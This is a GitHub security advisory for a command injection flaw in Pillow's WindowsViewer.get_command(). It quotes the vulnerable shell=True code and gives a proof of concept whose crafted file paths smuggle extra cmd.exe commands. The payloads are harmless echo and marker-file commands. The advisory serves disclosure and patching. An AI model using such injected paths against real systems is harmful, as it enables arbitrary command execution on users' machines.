GHSA-4x4j-2g7c-83w6
Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### 1. Summary
`WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
`subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most
importantly a double-quote (`"`) that breaks out of the wrapping, followed by `&` — allow
injection of arbitrary `cmd.exe` commands.
The macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter.
The Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this
protection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`.
---
### 2. Vulnerable Code
**File:** `src/PIL/ImageShow.py`, lines 133–150
```python
class WindowsViewer(Viewer):
format = "PNG"
options = {"compress_level": 1, "save_all": True}
def get_command(self, file: str, **options: Any) -> str:
return (
f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping
"&& ping -n 4 127.0.0.1 >NUL "
f'&& del /f "{file}"' # ← same path, unescaped again
)
def show_file(self, path: str, **options: Any) -> int:
if not os.path.exists(path):
raise FileNotFoundError
subprocess.Popen(
self.get_command(path, **options),
shell=True, # ← shell=True
creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
) # nosec # ← Bandit warning suppressed manually
return 1
```
**Contrast with macOS — SAFE (line 164–168):**
```python
class MacViewer(Viewer):
def get_command(self, file: str, **options: Any) -> str:
command = "open -a Preview.app"
command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
return command # ← shlex.quote() applied
```
**Cross-platform summary:**
| Platform | Class | `shlex.quote()`? | `shell=True`? | Safe? |
|----------|----------------|------------------|---------------|-------|
| macOS | `MacViewer` | **Yes** (line 168) | No (list args) | ✅ Yes |
| Linux | `UnixViewer` | **Yes** (line 207) | No (list args) | ✅ Yes |
| Windows | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No |
`shlex.quote` is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.
---
### 3. Proof of Concept
A full working PoC is at `poc_pillow_injection.py`. Key parts:
**Part A — Injection string construction (static, no execution):**
```python
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found)
# ├─ & echo PWNED → INJECTED COMMAND
# └─ & echo "" && ping ... → continues
```
**Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):**
```python
import os, tempfile
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
# Craft injection: payload writes a marker file (harmless)
payload = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')
# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)
# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)
assert os.path.exists(marker) # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read() # PASSES
# → CONFIRMED: arbitrary command injection via get_command()
```
---
References
External links from the advisory. They lead to third-party sites.
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6
- https://nvd.nist.gov/vuln/detail/CVE-2026-55798
- https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a
- https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4
- https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f
- https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst